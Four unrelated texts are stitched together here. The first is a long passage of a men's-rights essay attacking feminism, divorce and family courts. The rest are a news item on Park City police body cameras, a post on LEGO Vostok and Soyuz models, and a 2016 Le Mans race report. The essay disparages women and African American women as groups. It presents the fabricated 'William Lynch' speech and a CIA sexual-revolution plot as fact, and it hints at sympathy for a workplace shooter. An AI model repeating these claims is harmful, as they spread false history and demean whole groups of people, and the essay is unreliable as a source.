instincts by hyper-sensitive adults who deem boys’ natural behavior as disruptive and sometimes even going so absurdly far as to deem it oppressive of the girls’ well-being.  We’re talking about politicizing children’s natural behavior.  A whole generation of boys are now being chemically castrated with Ritalin and other drugs, presumably to curb their so-called “hyperactivity”, or what was once called, you know, “being a boy.” In some “progressive” educational environments, young boys are even directed to play quietly with dolls along with the girls. The message is that the educators are attempting to break down natural gender behavior under the insane theory that it is unnatural— before the children can possibly understand why they are being discouraged from behaving normally. This symbolic gender reassignment goes far beyond the need for a reasonable degree of discipline and order when children really do behave disruptively.  The fact that girls often enter puberty a little earlier than boys has spawned a myth that they mature intellectually sooner as well, and yet there is no evidence at all to support this belief. In fact, girls’ school performance sometimes drops sharply at the onset of puberty, with far less of this effect observed among boys. Statistically, it’s no surprise that girls’ aptitude skews a little more toward verbal and language skills while boys skew a little more toward analytical and math skills, but there is no significant difference in overall performance except when one group is favored over another, which is exactly what’s been happening in the last 30 years. Boys’ tendency to assert themselves a little more than girls has been branded as damaging to girls’ self-esteem. So, instead of dealing with each child according to their innate temperaments, boys are admonished for their natural enthusiasm. Being born male has taken the place of “original sin”, and boys learn to feel guilty just for being boys, especially when most elementary school teachers are women who consider themselves feminists.  Boys see their own fathers marginalized in their lives and fathers in media portrayed as inept buffoons instead of the stable, wise heroes that they once were. No longer is the protector, the provider, the decision maker respected or even acknowledged. In domestic disputes, the man is almost always arrested even when the woman was the aggressor, which is far more frequently than reported, for the same biased reasons. Men are blamed for all the evils of the world with a naïve dream that all problems would be solved if only women ran the world. None of these biases are absolute, but they are now commonplace enough to have a cumulatively negative effect on how boys learn to see themselves. This far exceeds the seriousness of any complaint about how women are portrayed in the media. Once again, all of this reinforces the absurd and dangerous idea that the only way to “empower” girls is to emasculate boys, even at very young ages.  In the Workplace  The sexes in each species of being… are always true equivalents – equals but not identical. –Antoinette Brown Blackwell  In the professional world, women often complain that their male colleagues don’t take them seriously. Having worked for several large companies, I have often heard the complaint but never actually witnessed the alleged cause. On the contrary, I have seen many women in positions of authority, surrounded by mild-mannered beta males who would never dare question them even if they had good reason— out of fear that any challenge whatsoever to a woman would be misinterpreted as the deadly sin of sexism. These are the young men who were raised in the generation of feminism.  Nevertheless, even if it still sometimes happens that a few old-school men don’t take their female colleagues or subordinates as seriously as they’d like, one very important reason for it is rarely acknowledged: women actually have more options than men, despite a common assumption to the contrary. Every working man knows that he has no choice. He has no safety net. He must work, period.  For men, working for a living is not a privilege, group therapy, or a liberating expression of his individuality, creativity, and freedom, as feminists have been taught to see it and envy it. For men, work is merely an inescapable and necessary burden whether he likes it or not. A man must work his whole life because he knows that no one is ever going to take care of him, and he will have to work extra hard, long hours that most women won’t if he is going to be considered successful enough to attract a woman and support a family.  A woman in the workplace on the other hand has many more choices, especially if she’s attractive. Whether we care to admit it or not, she can flirt or screw her way up the ladder if she wants. She can threaten to sue for sexual discrimination pretty much any time she is challenged for any reason by a male colleague or superior. That is not to say that every woman does these things, but some do. That is a fact, and everyone knows it. Every man in the professional world knows that even if a woman doesn’t do these things, the threat that she could always looms, while he will never have such options. It’s not difficult to see how this knowledge could influence even fair-minded men to begin seeing working women as mere career dabblers or hobbyists who are exploiting unfair advantages compared to their more serious male colleagues who have only their hard work and dedication to earn credibility.  Also, most women can still opt-out and revert to the traditional role of housewife pretty much whenever they want, if they want, unless they wait until it’s too late. There should be no shame in this option, but it is there. In such cases when they do wait too long, only then do some women begin to think that the grass is greener on the path not taken. They then long to be wives and mothers often long after the optimal time to start a family has passed. Like men, such women finally realize that being responsible for themselves is not a mere test of self-esteem to prove like a precocious child, but after a certain point, it becomes a hard, inescapable reality. Some even admit to feeling as if they had been “suckered” into pursuing careers that they only later realize that do not bring them the fulfillment that they were promised by their women’s studies professor in college. So until that day of reckoning, no matter how hard a woman works to prove herself equal to her male colleagues in a professional environment, the unspoken knowledge that she has a safety net that he lacks has an unavoidable affect on her credibility as a serious employee compared to her male colleagues.  If there is one attractive woman sitting in the boardroom at a meeting with her male colleagues, then everyone including her is acutely aware of the proverbial pink elephant in the room that no one dares to talk about. Everyone is uncomfortable and she can use that fact to her advantage. While this may not seem fair, it is foolish to pretend that it’s not true. But we do pretend. We pretend that things are the way we think they should be, instead of how they really are. This head-in-the-sand reflex does not bring about positive change. It only fosters more tension and distrust. Consequently, the workplace has become a minefield of hyper-vigilance against the slightest perception of harassment, which stems more from a fear of lawsuits than from any actual behavior that rises to a reasonable interpretation of being genuinely offensive. Talk about a hostile work environment!  An attractive, successful business woman that I once dated told me that as an artist, I was a refreshing alternative to the stodgy men in suits that she worked with all day. She actually complained to me that they didn’t take her seriously even though she was just as competent and hard working as any of them. Without hesitation, I told her why I thought that was so, and her jaw dropped. Not in offense, but to her credit, in recognition of the truth. She replied, “Oh my god, you’re right. I never thought of it like that.” We eventually parted on good terms but I know that she will remember that conversation.  Sex and Drugs and Rock & Roll  No one will ever win the battle of the sexes; there’s too much fraternizing with the enemy. –Henry A. Kissinger  Before the 1960s, the American male archetype was admired for being strong, and stoic, with grit and moral fiber. Women chose men carefully based on these qualities— with good reason. In the time before the pill and legal abortion, unwanted pregnancy was a serious concern, so a stand-up man was valued and appreciated. Strong, smart, heroic men were a staple in literature, television and movies.  Enter: JFK’s assassination and the Viet Nam war. Suddenly, all bets were off and a new young generation dared to seriously challenge the status quo through an explosion of creativity in music, literature, film, and personal exploration of new ways of thinking and living. This posed a far more serious threat to the incumbent establishment than most people realize. In ancient Rome, the powers of the time realized that they couldn’t stop Christianity, so they co-opted it and formed the Roman Catholic Church in order to maintain power over a growing population of Christians. This is not a discourse about religion but a similar thing happened here in America in the wake of the 60s. The hippie movement was completely derailed with the pacifying temptations of sex and drugs, courtesy of your friendly CIA. Contrary to popular belief, the sexual revolution was actually part of the arsenal to sabotage a movement that could have otherwise had a real chance of overthrowing the corrupt establishment. Like giving smallpox-infected blankets to Native American tribes, hippies were given unrestricted sex and recreational drugs with the idea that these were expressions of their rebellion, when they were actually the elements of their demise. Indeed, my parents’ generation naively and eagerly partook of these temptations without having any idea of the intended consequences. An entire generation of rebels was anesthetized into docility with very little bloodshed except for isolated incidents like Kent State.  The pill was developed and Roe v. Wade legalized abortion. One of feminism’s dictates was that women should no longer be ashamed to be single mothers if they chose not to terminate their pregnancies. The lid blew off sexual restrictions. Promiscuity was no longer shameful, women no longer needed to be coy about their sexuality, and men no longer needed to be strong or responsible. The androgynous rock star replaced the chiseled leading man. We invented absurd new euphemisms like “polyamory”, to legitimize behavior that was once taboo, which of course has nothing to do with real love. Qualities like commitment, responsibility, character, and virtue became synonymous with the rigid, oppressive establishment of the previous generation. Motivated by the temptation of easy sex, most men eagerly adapted to these new mores. The American male archetype transformed from stoic and masculine to the non-threatening man-child anti-hero. As a friend suggested, men went from “pull out artists” to “pick up artists.” This may all seem like good fun, but at what cost? Skyrocketing statistics of single mothers, uninvolved fathers, broken homes, and tension between the sexes.  Like trying to live on a diet of nothing but hot fudge sundaes, all this non-committal sex eventually led to an inevitable breakdown of trust or respect between the sexes. “Free love” was anything but free. Sex as recreation demands the suppression of the natural intimacy and bonding that normally accompanies it. But suppression begets perversion, jealousy, resentment, disillusionment, and rage. By the 80’s, the AIDS epidemic struck, rehab clinics became commonplace and the party was over. Having forgotten any sense of the traditional values and respect that once existed between the sexes, it was too late to turn back. All we were left with was animosity, distrust, and a tidal wave of blame.  Fast forward to today and sexual relationships have come to resemble tense diplomatic negotiations during a temporary cease-fire between warring nations that are considering the benefit of temporarily lifting a trade embargo. People are torn between their natural instincts and the legacy of a generation of promiscuity. Confusion predominates; consumerism and convenience prevail. With absurdly oversimplified theories like “The Rules” and “Men are from Mars, Women are from Venus” gaining traction among most of the population spoon-fed on pop culture, men and women have abandoned their own common sense and decency. Instead, they have come to see each other as alien specimens to be analyzed and manipulated through a scripted and choreographed series of disingenuous interactions, or as disposable consumer products to be traded in at the first sign of boredom or imperfection. Relationships and marriage are more frequently than ever based on short-sighted whim and superficial convenience more than on genuine love, trust, respect or devotion. No commitment is deep enough to withstand the opportunity to “trade up”. The slogan “I want it all now” from Cyra McFadden’s satirical book “The Serial” has lost its irony and become the mantra for a whole generation. Scratching the surface of these trends reveals some interesting underlying causes.  We are now surrounded by overt sexual imagery everywhere in the media. Despite our professed abhorrence toward child pornography, we allow our children to become inured to sexualized imagery, attitudes, and styles at increasingly younger ages. Worldwide pornography industry revenues are now far in excess of $100 billion annually, which is more than double that of Microsoft and more than the NFL, NBA, and MLB combined. When natural sexuality becomes unavoidably confused with the caricature of pornography, it is not unusual for men to be ridiculed as pigs or perverts merely for expressing any sexual desire at all, whereas women’s sexuality is seen as almost a divine sacrament, even when it really is perverted.  The mixed messages are enough to drive anyone mad. Men are bombarded with the admonition that they are supposed to be kind, honest, chivalrous, respectful, and gentle, but men who are naturally like this find themselves rejected time and time again, only to watch women run into the arms of thugs. Why? Because most women now resent the non-committal dandy that they invented. They instinctively revert to their desire for a strong, stand-up guy, but there are very few good models for this type of man left these days. So, women settle for any superficial display of strength or power as the next best thing. Of course, attraction to wealth never went out of style, but good character is seen as weakness and usually ignored, despite protests to the contrary. Actions do indeed speak louder than words. The exceptions to this rule are the relationships comprised of a domineering woman and her male lap dog. These men either lack or have suppressed their natural male traits in order to be deemed worthy of the woman’s acceptance. These variations tend to be regional but the net effect is a profoundly diminished quality of life for all.  Parenthood  I could not point to any need in childhood as strong as that for a father’s protection. – Sigmund Freud  Loving fathers are systematically torn from their families, branded as deadbeats, and treated like criminals in family courts. We accept this as if it’s just the natural order of things. It isn’t. And yet we still hold the notion that papa was a rolling stone, when in fact a much larger percentage of women actually initiate divorce than men, forcing the fathers of their children out of his own home. In the minority of cases when men leave their marriages, we assume that he’s a jerk for abandoning his wife. When the woman leaves, we still assume that she had no choice because, once again, he must be a jerk. All of this is accepted with absolutely no evidence; just an automatic assumption that flatters women and insults men. Men are the targets of this “damned either way” bias in almost every kind of situation. Even more shockingly, more than twice as many women than men neglect, harm and even kill their own children, especially after moving in with a man other than the biological father. Yes, you read that right.  Despite these facts, we do not err on the side of caution by systematically taking children away from the majority of decent mothers. Instead, we ignore the statistics and do the reverse, because we mistakenly assume that it must be the reverse. Why? This is justified in part by a baseless theory about the breastfeeding bond between mother and child superseding any possible bond between fathers and children, even long after children have long since moved on to solid food. It is also regarded with a nod and a wink as a kind of ad hoc reparation for perceived injustices against women elsewhere in society, such as the aforementioned debatable wage discrepancies. And so children become the bargaining chip, with the insulting justification that such decisions are made in the children’s best interest. Wink, wink.  However, reverse the genders and there would be riots in the streets. Take children away from a mother simply because the father decided that he needed to leave his wife to go “find himself” along with his kids in tow? Laughable, unless the mother is caught selling crack on the schoolyard— and even then we would wring our hands trying to understand what unbearable stresses could push a poor woman to do such a terrible thing, when even a good man would receive no such consideration. Instead, decent, loving fathers are forcibly removed from their children every day without as much as a shrug, often for no better reason than the woman’s whim. Ask any man who has experienced this if it is any less heartbreaking than it would be for a woman and you are likely to see a grown man break into tears, not to mention his children. This is how callously and systematically the family court system not merely permits, but is actually geared to goad already fragile families into devastation, and is really at the heart of the whole matter.  Also, birth control options for women far outweigh the options for men. Choices in birth matters is regarded as the woman’s alone; and yet still the man’s burden depending on the choice that she makes without his wishes carrying any weight whatsoever. Yes, it is her body that will or will not be pregnant for nine months, but his desire to be a parent or not for the next eighteen years and to bear the financial burden or not is completely disregarded depending on her whim. When a sperm bank becomes an equally viable or even preferable alternative to an involved father, then clearly no one any longer takes the consequences of raising fatherless children very seriously. But the results are in and the naïve social experiment that elevated single mothers from shame to glorified sainthood can be declared an unmitigated disaster.  There was once a good reason why it was considered shameful for an unmarried woman to get “knocked up” and raise children on her own. Now, women should never feel shame for anything they do, however careless or selfish. Where single motherhood was once considered a tragedy, it is now considered a perfectly viable or even admirable choice. However, the epidemic rise of drug use, teen pregnancy, gang violence, depression and suicide all correlate precisely with the increased absence or marginalization of biological fathers from the lives of their children. Once again, this is not a coincidence or an unintended side-effect. I assert that it is undeniable case of calculated and predictable cause and effect, and raises the disturbing question of who really benefits. I’m still getting to that. In the meantime, I contend that the system is critically broken and that we can do so much better.  Rite of Passage  Ah, yes, divorce… from the Latin word meaning to rip out a man’s genitals through his wallet. –Robin Williams  As mentioned, most children are raised in broken homes because far more women than men are abandoning their marriages. I can almost hear the feminists cheer at this “victory” but, but the noble cause of equality is just a decoy and the ramifications are much farther-reaching. The devil really is in the details. Of the aforementioned majority of divorces initiated by women against their first husbands, only a very small percentage of those are for serious reasons like abuse or infidelity by the man. In most cases, “irreconcilable differences” is a meaninglessly vague euphemism for “she’s liberating herself from the institution of patriarchal oppression.” But is that really what she’s doing?  It has instead become a rite of passage for women… an initiation to womanhood. You’re not really a liberated woman until you’ve abandoned at least one devastated beta male in the dust to either “trade up” or go “find yourself”, with or without kids in the picture. Even if he was the most loving, supportive husband in the world, simply claim that he was “controlling” and that you felt “trapped”, or that he left the toilet seat up, and the sisterhood will all nod in unison, “just like a man.” I guess it just wouldn’t be as satisfying or meaningful to find herself before ruining a few other people’s lives in the process. This is accepted and even encouraged as the woman’s prerogative to change her mind without moral accountability to anyone that her almighty whim might harm. The fact that she never thought of this before willingly entering the marriage is ignored or explained away as her having been too young and naïve to know what a terrible trap she was getting herself into… you know: stuck with a hard-working man who loves her and provides for her. She can’t execute the symbolic act of liberating herself until she has first willingly entered a union that she can only then vilify as her prison. The fact that she may cause irreparable harm to others in the process is an acceptable casualty at best; or perhaps it is even a badge of honor at worst.  However, the question has never really been whether a woman has the right to choose. The real question is (or should be) how well she chooses. If women truly want to see themselves as equal to men in society (as they should), then they must be held to the same standard of accountability for the choices they make as men are held, and not expect to be forever coddled like children taking their first baby steps into the real world.  Pop Culture  All propaganda has to be popular and has to accommodate itself to the comprehension of the least intelligent of those whom it seeks to reach. –Adolf Hitler  There are countless examples of propaganda in the media that reinforce these skewed views. Despite feminists’ complaint about unrealistic images of thin, sexy women in the media, every romantic comedy is about some immature rogue who can’t commit until he meets the right woman. Every sitcom (and commercial) is about an overweight idiot married to a beautiful, mature, intelligent, sophisticated woman who treats him like a child. Practically every Disney movie since the 70s has been about a plucky, independent young heroine proving herself in some way.  Recently, the bestseller book “Eat, Drink, Pray” and subsequent 2010 film starring Julia Roberts was lauded as a landmark of feminist aspirations but what was it really all about? An attractive, successful, married, middle-aged woman abandons her perfectly decent, loving husband to go on a year long quest to “find herself”, only to ultimately learn that she has selfishly pushed away every man who ever loved her. At least she had a great time in the process while her poor ex was left in anguish— but who cares? It was her adventure and a vicarious fantasy for every married woman in the audience who ever felt a twinge of restlessness. Now, reverse the genders and make the main character the husband who does what Julia did. He would be seen as an irresponsible, selfish villain and everyone would sympathize with the ex whose part is pretty much over after the first 20 minutes.  In the blockbuster 2012, John Kusak asks his ex-wife Amanda Peet if she really loves her new husband. She answers, “I love him enough”, which clearly means that she tolerates him because he’s a better provider than the father of her children, whom she left. This is considered to be a perfectly reasonable answer. Now reverse the genders. If a man gave the same answer when asked if he loves his wife, then that would not definitely not fly with modern audiences as an acceptable reply for a likeable guy. He’d be a real jerk for admitting that he married a woman for convenience. Like so many double standards that give women a free ride that men are denied, it is accepted as a small retribution for some other contrived offenses.  These are only a couple of examples that recently caught my attention out of countless others. For anyone interested, I suggest counting how many television commercials for a wide variety of products and services follow this formula. Apart from selling products, what’s the overarching message?  The Rhetorical Trap  Anger is never without an argument, but seldom with a good one. –Indira Gandhi  Like a religious devotee suffering from a crisis of faith when exercising a bit of common sense, any man who raises these questions is immediately attacked for challenging the politically correct status quo. He is branded a chauvinist, or as a whining, humorless crybaby who can’t take a joke and doesn’t know how good he has it compared to women, or as a loser venting his sour grapes. After all, if you are presumed to have all of the advantages, then you should be able to take a few hits and have no reason to complain, or so the reasoning goes. And if you do complain, you are not being “manly”. Men should be stoic. Men should take their lumps. Men’s feelings don’t get hurt, or at least don’t matter compared to women’s feelings. Men are the oppressors, and so have no credibility to complain. There’s no vacancy in the victim hotel, and men are to blame. It is the classic ad hominem logical fallacy designed to keep men silenced about any injustices they endure.  Instead, you have the occasional hard working quiet family man who just snaps one day and shoots up the post office. Now let’s do a little soul-searching to really understand what terrible stresses could push this poor guy to the edge: Perhaps if he only had the opportunity to voice his frustrations just once in the way he heard the women around him do every single day, then such tragedies might be averted. Just a thought.  No Good Deed Goes Unpunished  All I ever seek from good deeds is a measure of respect. –Walter Annenberg  Despite being the target of all this hostility from women, most men silently nod and continue to say and do whatever it takes at all costs to appease women’s bottomless well of demands. They will go along with the common platitude that “she’s always right”, even with all the derogatory jokes about what clueless pigs men are. They will not question the notion of how much more sensitive, nurturing, intuitive, intelligent, and spiritually enlightened women are compared to men, who are always presumed to be inept, immature, knuckle-dragging goobers who lie, cheat, and need to be treated like one of the children by their flawless wives— if they are lucky enough for a woman to tolerate them at all. And so, in either ignorant bliss, the desire for acceptance, or fear of ridicule, most men play along with the burden of trying to impress women, while women maintain their posture of trying to remain unimpressed without even the courtesy of showing up on time, or at all. And which men get the shortest end of this stick? The ones who offer the least resistance… the “nice” guys who least resemble the negative stereotype.  Women often seem to do this with smug, almost perverse satisfaction as if they are cashing in their retribution chips against men— against any man, and yet for exactly what offenses, and to what end? Such small victories ring hollow. There are a lot of bitter, divorced, middle-aged women out there who have never once let down their guard to show genuine appreciation for the decent men in their lives. Let’s not underestimate how much they are suffering too— not because of how awful men are, but because of how awful they think men are. This myopic view becomes their own personal hell. Unwittingly, a woman who believes that she is justified in “getting one over” on the men in her life ends up suffering just as much, if not even more in the long run, and worse: causing her children to suffer too. No one wins. Well, almost no one.  Life Out of Balance  There is more difference within the sexes than between them. –Ivy Compton-Burnett  All of this preferential treatment toward women on the surface would seem to be with good intentions. But if you really think about it, the message actually undermines everything that feminism would logically advocate. Rather than women being able to do anything men can do, it actually reinforces the message that women are helpless victims who need to pressure men into feeling guilty so that they will grant special concessions to women— presumably because women are incapable of succeeding otherwise. The false message is that men’s power is the only power, so women should feel inferior unless they can pilfer men’s power and become more like men. This is actually the opposite of “empowerment”. It negates women’s true feminine power and natural dignity as women, as well as attacking men’s masculine power. It’s like a social short circuit.  Paradoxically, men are now also made to feel guilty and inferior for the very same traits to which women now aspire. So, the bizarre logic is that it is a virtue for women to be more like men, but it is shameful for men to be like men or like women. This is obviously no good for men, but it really doesn’t help women either. They may claim some petty victories, but this ultimately keeps women dependent, in a childlike fantasy world where they can get whatever they want (or what they think they should want) by being aggressive, whining, manipulative, or insisting on changing the rules; and it keeps men in a constant, weakened state of guilt, confusion, and contrition for their natural instincts to be manly. If women can’t compete successfully with men in arenas where men excel, then we must rig the game.  In conversation with women friends about men’s frustration about never knowing what women want, some of the more sympathetic ones have admitted to me, “I don’t blame men for being frustrated since we don’t even know what the hell we want most of the time.”  The hidden message in the jargon of “empowerment” is that you are powerless until someone else rigs the game for you. It’s like affirmative action and special Olympics for women. You’d think that any self-respecting woman would see through the insulting condescension of this, but they don’t because it offers the path of least resistance toward an artificially contrived goal, under a banner of false righteousness. It’s like the trifecta of manipulation. Madison Avenue would be proud (or should I say is proud?)  The net result of all this actually undermines both men’s and women’s dignity, strengths, self-awareness, and autonomy over their own lives to follow their true nature as long as they accept the fallacy that each gender should suppress their natural instincts and strive to be more like the other. Sure there will always be some exceptions to the majority, which is fine for them, but we now act as if the exceptions must be the rule for everyone. As far as we may think we have “evolved” intellectually or socially, we are still biological creatures operating to a great extent on instinct. This is not a bad thing. It is a supreme conceit of human ego to think that gender is an arbitrary contrivance to be methodically altered based on some passing social trend. Rather, it is our nature; it is DNA, hormones, biology, and instinct. We are suffering by attempting to suppress it based on some misguided social theory.  As Jeff Goldblum said in Jurassic Park, “Nature finds a way.”  Acknowledging Skepticism  Do not let yourself be tainted with a barren skepticism. –Louis Pasteur  So, as a man who believes that this subject is in dire need of closer examination, how can I present my case without inviting the same kind of derision directed at every man who has ever attempted to voice similar ideas? I’m not sure that I can. But I can anticipate the ridicule and point out what I believe really motivates it. This extends far beyond my personal experience with a sympathetic view toward all concerned: men, women, and children alike. My purpose is not to complain or to make an appeal for sympathy. It is to shed some light that I believe will benefit all concerned.  Why?  Why shouldn’t truth be stranger than fiction? Fiction, after all, has to make sense. –Mark Twain  If you begin to even consider the validity of this entire premise, then the next question to ask is: why would a presumably enlightened, modern society that has made such great strides against racial discrimination so systematically undermine the natural dignity and respectability that both genders once took for granted? A militant feminist will predictably assert that men have brought this upon themselves and declare that the end of the argument. Now, let’s look at it from a non-dogmatic perspective. My theory is not for the faint of heart. In fact, it is rather chilling and based on well-documented historic facts. It may seem at first like a long leap of logic, but the parallels between past and present are uncanny, so please bear with me.  Historic Precedent  Dictatorship naturally arises out of democracy, and the most aggravated form of tyranny and slavery out of the most extreme liberty. –Plato  Back in 1712, a man named William Lynch gave a seminal speech to a coalition of Southern Plantation owners on the bank of the James River. The speech was titled, “The Making of a Slave”. In it, Lynch described in explicit detail a systematic approach to psychologically “breaking” a population of people so that they will remain obedient and docile.  The simple premise was “divide and conquer” at the level of the most intimate family bonds.  The first and most important step was to weaken the strongest link. Remove the father from the family unit and brutally humiliate him in front of his woman and children. We’ve all seen “Roots”. Remember?  The next step was to give the woman more decision-making power than the man, especially regarding children, yet always under the control of the master. Children raised under these conditions were deprived of any strong male influence except the master. Women learned to despise their own men’s weakness and consequently form a stronger allegiance to their captor, the master. Sex between masters and female slaves was commonplace. Whether it was forcible or consensual was ultimately usually irrelevant under the circumstances. Much later, this phenomenon was recognized as the Stockholm syndrome in which a group of kidnapees grew to identify with their captors. The first generation of male slaves were killed or maimed beyond any ability to fight back, but the next generation of boys grew to be more compliant, usually through brutal “whippings” from their own mothers, inflicted to avert even worse beatings from the masters.  This became a mindset and a way of life so deeply instilled that it persists in black American culture today, 300 years later. How many African American women really respect African American men, even in this day and age? Very few. This is the legacy of Lynch’s system that he actually predicted. And now, this malignant mindset has spread far beyond the descendents of African slaves throughout all of society in America.  The Conspiracy  Where justice is denied, where poverty is enforced, where ignorance prevails, and where any one class is made to feel that society is an organized conspiracy to oppress, rob and degrade them, neither persons nor property will be safe. –Frederick Douglass  Fast forward to the Civil War, emancipation, and then further to the civil rights movement. Slavery is abolished. The economic system that built this nation and depended on slavery was on the verge of collapse. Bankers and wealthy land owners needed to think fast. They figured out that they could continue a form of legal economic slavery as long as they didn’t call it that. Just employ the same techniques that Lynch taught, but in more subtle ways throughout the whole society, not just against a single minority group. Open Ellis Island to the largest influx of poor, immigrant worker classes in history with the lure of a chance at a better quality of life in America. Undermine the dignity of the father in the family unit, if not through torture, then through industrial mechanization, economic oppression, and seductive propaganda. Make the ordinary man obsolete as an authority, even in his own family and useful only as an obedient worker… all legally. The dystopian visions of Orwell and Huxley were not that far off the mark. The only subtle but important difference is that we have replaced the chilling bleakness Orwell’s cautionary tales with Huxley’s placebo of banal consumer comforts and dream of a shot at the glamorous life. “You can never underestimate a population’s appetite for distraction.”  And yet the ultimate irony and insult to women is that much of the feminist agenda that they so religiously espouse is really part of a sinister plot devised by a very small group of very powerful men to control the masses by undermining the family unit. They simply planted the seed, and let it play out. Divide and conquer, just like prison guards maintaining their authority by fueling hostility among the inmates. So yes, the real oppressor probably really is male, but it is a very small, elite group of powerful men whose existence and directives are far below most people’s radar. The rest of us ordinary men in women’s lives however, are not the enemy. We’re really all in the same boat.  The Cost  It is the logic of consumerism that undermines the values of loyalty and permanence and promotes a different set of values that is destructive of family life. –Christopher Lasch  The scheme is working. A vast population of the working class is keeping the top fraction of a percent of the wealthiest elite in power, with the recent exception of the Occupy movement. We are the 99%. However, the general public is usually too docile and distracted by consumer media to recognize their own plight or to ever consider a revolt. Instead, most wave their banners in blind allegiance to the powers that be. At what cost? At the cost of the most basic and fundamental social unit upon which the pursuit of happiness depends: the intimate bonds of the intact family. The only difference now is the vast scale and that the “master” is now the faceless godlike entity of corporate capitalism and consumerism. In contrast, husbands and fathers who were once the heroes of their families are now reduced to a punch line.  We believe in things more than we believe in each other. We cheer for our sports teams, for our armies, for our movie stars, for our politics, for our religions, and for our precious cars, fashions, and gadgets— but not for each other. We are allowing our greatest asset— our families— to be sabotaged from within. This is undeniably the brave new world that we live in today. It has not always been this way, nor must it remain so.  As Krishnamurti said, “It is no measure of mental health to be well adjusted to a profoundly sick society.”  Conclusion and Prediction  The sexes were made for each other, and only in the wise and loving union of the two is the fullness of health and duty and happiness to be expected. –William Hall  Now, here we are in the midst of the worst economic crisis since the great depression, an epidemic of foreclosed homes, broken homes, and a general atmosphere of malaise and mistrust between the sexes. None of this is an accident. We have been led like sheep to this much weakened place. How can anyone with a merely average sense of decency look around and fail to see that something has gone seriously wrong?  Now, the question is whether it is possible for us to gain the collective awareness to recognize it, to see the bigger picture, and as a population of intelligent and decent men and women, reclaim our dignity and the family bonds that once made us strong as individuals and as a nation? The present course is clearly unsustainable. I predict that the pendulum must start swinging back. There will be a shift in coming decades back toward a healthier respect and appreciation for men’s strength, dignity, wisdom, and roles as beloved husband, father, provider, protector, wise authority, and hero, at least in some sectors. When critical mass is reached, then this reawakening will become universal.  Just like the apologetic state that men are in today, there may even come a period of female atonement in which they will express contrition for their formerly misguided hostility toward the men in their lives. Mutual empathy, compassion, and respect between men and women for our strengths as well as for our differences will become the norm and families will once again become strong and stable. This is the true source from which social and economic recovery will “trickle down.” Of course, there must always be acceptance for alternative family models including blended families, single parent families, and gay couple families. However, the standard prototype of husband, wife, and children will resume its rightful status in the pantheon of stable family models. Feminism will dissipate and be replaced by the more inclusive “humanism.”  For all the die-hard feminists who will misinterpret this as some veiled attempt of reinforcing their imagined shackles of female subservience, please. You were never a slave to men and certainly no one is forcing anything on you now. Are you so insecure as to think that any positive relations with men must be synonymous with oppression? Is that what you call empowerment? If you are really happier alone with your cats, or at least without any positive relationships with men, then that’s always your choice. But as the minority, you don’t have the right to speak or choose for all women. In your own philosophy, women more than anything else have the right to choose what’s best for them. Those many choices must include the choice to take the most natural path in the world: to become truly invested in creating a healthy, happy, strong family… to know the contentment of finding herself right there, without shame, and to stay, for better or worse.  We have mustered the collective mobility to occupy Wall Street. It is now time for the 99% to turn that collective focus back to our homes and families.
-PARK CITY — Park City police are joining other departments across the country as they upgrade dash cameras in police vehicles to body cameras on police officers.  This month, about 20 of the more than 30 officers with the Park City Police Department will start wearing body cameras on their person during responses and traffic stops. The cameras are about the size of a pager and, when recording, show a lime green circle around the lens.  The new equipment comes at a time when many of the department’s dash cams are in need of replacement, said Park City police Capt. Phil Kirk, which in part, motivated the switch. Each body camera cost the department $865, whereas dash cams can cost up to $5,000 and offer only a limited view of a traffic stop. The department was able to secure the funds through a grant and it continues to look into other grant opportunities to fund more cameras.  “There are some distinct advantages of having a camera mounted on the officer’s person rather than just in their vehicle,” Kirk said. “It’s a lot more versatile.”  Not only will the cameras document traffic stops, emergency responses and other evidence gathering, but the department hopes the cameras will put both the officer and the public on their best behavior during interactions, keeping both parties safer and holding each accountable.  “It’s pretty clear when you move the lens cover that the camera is on,” Kirk said. “We hope officers most of the time will tell citizens that they’re being recorded. We’re hoping that that makes it safer for everyone involved, including the officer, and that people will be totally accountable for their actions because it’s going to be recorded — similar to people in the community recording police officers and making them more accountable. … If somebody is maybe thinking of being difficult or maybe going to fight or attack the officer, maybe they will have second thoughts about it.”  The police department of Rialto, Calif., found that body-mounted cameras on its officers resulted in an 88 percent decrease in complaints filed against officers and a 60 percent decrease in officers using force, according to a study conducted by PoliceFoundation.org.  The recordings can be also utilized in training, giving trainers and trainees the officer's view of a situation.  “We can review situations, debrief on them when we actually handled a real situation,” Kirk said. “(We can) learn from that, use it as a training video to decide what went right and what didn’t go so well. Being able to see exactly what the officer saw and reviewing those tapes will be very invaluable as a training device.”  Throughout the country, as departments have started using body cameras, some have expressed concern about privacy.  Recently, the American Civil Liberties Union recommended that, “deployed within an appropriate policy framework that includes strong privacy protections for officers and the public, (body cameras) should be mandated and funded." Kirk said the department had developed special policies for the use of body cameras.  Kirk said in addition to the cameras, the department is utilizing a server the department already had to store the cameras’ recording. The memory of each device will store up to four hours of video and audio.  ×  Photos
-This year we celebrate 55 years since the first human spaceflight in history. Tyler takes on the role of a Soviet space program chief designer and commemorates the event in a stunning couple of spacecraft — Vostok-1 and Soyuz — classic craft from the early days of putting cosmonauts into orbit.  Take a moment to notice the choice of pieces. Pretty unpretentious, yet with ordinary slopes and wedges Tyler magically creates curved shapes of various diameters, which look fascinating even in plain grey colors. The aerials and dishes are especially heartwarming as they resemble the style of the legendary Discovery sets from 2003. What is so outstanding about the Soyuz model is the use of studs of various colors under trans-blue tiles — a simple and amazingly effective solution. These solar panels look even cooler than stickers from the said Discovery sets.
-With three minutes and 21 seconds to go, the leading No. 5 Toyota TS050 that was on pace to take the win came to a halt in front of the pits, ceding the 2016 24 Hours of Le Mans lead to the No. 2 Porsche 919. It’s an unbelievable end for a car that was so reliable for the other 23 hours and 50 minutes of the race.  The Toyota lost power out on track in the last 10 minutes of the race only to finally come to a halt. Everyone had been so prepared to welcome only the second Japanese manufacturer in history to win Le Mans, but then Toyota suffered a crushing failure.  The moment was absolutely heartbreaking to watch.  Advertisement  Like Toyota’s No. 5 entry, Porsche’s No. 2 car was its most incident-free car, eventually winning Le Mans by turning many incident-free laps and staying out of the pits as much as possible.  Porsche’s No. 1 car had spent too much time fixing gremlins that led to a lengthy disassembly and reassembly in their own garage. Meanwhile, the No. 2 and the No. 5 swapped for the lead many times throughout the race.  Advertisement  Toyota driver Kazuki Nakajima’s radio message to his team after he finally got the No. 5 started again was gut-wrenching. He—and the rest of us—just wanted to know what happened and why.  Advertisement  Porsche won its 18th 24 Hours of Le Mans as a constructor today. Toyota TS050 No. 6—not No. 5—was classified as winning second place. The No. 5 was able to be restarted and crawl in, but was not officially qualified as a finisher. The final podium spot was given to the No. 8 Audi R18 instead.  